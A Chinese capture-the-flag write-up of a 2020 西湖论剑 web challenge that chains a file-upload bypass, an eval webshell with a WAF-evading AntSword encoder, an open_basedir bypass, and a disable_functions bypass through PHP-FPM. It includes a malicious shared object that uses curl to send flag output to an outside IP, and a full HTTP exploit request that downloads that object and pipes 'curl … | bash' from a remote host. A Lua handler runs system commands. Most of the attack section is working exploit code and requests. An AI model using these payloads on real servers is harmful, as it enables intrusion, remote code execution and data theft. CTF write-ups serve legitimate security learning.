时间:2020年10月8日
题目来源:2020西湖论剑
解题过程:
起手一个文件上传,能够上传php文件,后缀名一个换行绕过即可,上传上去只能看一个phpinfo,禁用的函数列表:
忘了复制粘贴留下来了,反正很多。
看来绝大部分函数都被ban掉了,尝试用AntSword连接shell,连接不上,因为题目是有宝塔的apache waf,所以这里AntSword绕一下编码规则,设置编码规则:
/**
* php::base64编码器
* Create at: 2020/10/08 15:32:08
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = Buffer.from(data[pwd]).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
然后一句话设置成:
eval(base64_decode(base64_decode($_POST['cmd'])));
然后再改一改AntSword的User-Agent:
const USER_AGENT = 'Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101';
成功连接了Shell,尝试了绕过Disable_Func无果,插件都用过了,(后看WP发现有些师傅可以直接用FPM那个bypass掉。。不知道我这里出了什么问题)
突然发现file_get_contents没有被ban,就像看看/etc/passwd,结果发现open_basedir被限制在了/tmp目录和自己的沙盒目录,但在网上找了payload可以直接绕过open_basedir的:
mkdir('yyz');
chdir('yyz');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
bypass成功后,读取flag,发现没有权限,后看了看根目录发现有个readflag可执行文件。看来还是得拿到shell,依旧尝试网上bypass_disabled_function的payload,发现都不行。
赛后看了wp,发现还是有可行的payload:
服务器放置so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl 123.56.22.0:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so
然后
POST /sandbox/i9pkda6liup7jd81uouov1agud/index.php HTTP/1.1
Host: upload.f28a18.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------31678586230937453831944973480
Content-Length: 1819
Origin: http://upload.f28a18.challenge.gcsis.cn
Connection: close
Referer: http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/index.php
Cookie: PHPSESSID=i9pkda6liup7jd81uouov1agud; dasctf_sign_cookie=19a5c3663736071e6e03dec07fccc64a; dasctf_sign_javascript=ac0efff678a5740be048702812fb377a
Upgrade-Insecure-Requests: 1
-----------------------------31678586230937453831944973480
Content-Disposition: form-data; name="file"; filename="s.
p
h
p"
Content-Type: image/jpeg
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770
IconResource=%SystemRoot%\system32\imageres.dll,-112
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=-235
<?
mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
//var_dump(scandir("../../../../../../../../../../../../../tmp"));
echo copy("http://123.56.22.0:9999/hpdoger.so","/tmp/sky.so");
$fp = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'
?>
-----------------------------31678586230937453831944973480--
后非预期解(我认为的非预期解)
上传.htaccess
AddHandler lua-script .lua
再上传一个lua脚本(lua是跟php差不多的一种脚本语言)(看别人师傅说的是由于宝塔要运行自己的waf,所以可以解析lua脚本)
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
上传访问即可!
Hello Lua World!
flag{5abc08cc7759710e3cbc41f52dc1dd85}
这比赛质量很高!我很菜,做了一天才做一道题,还是star师傅带了我一天才做出来的Orz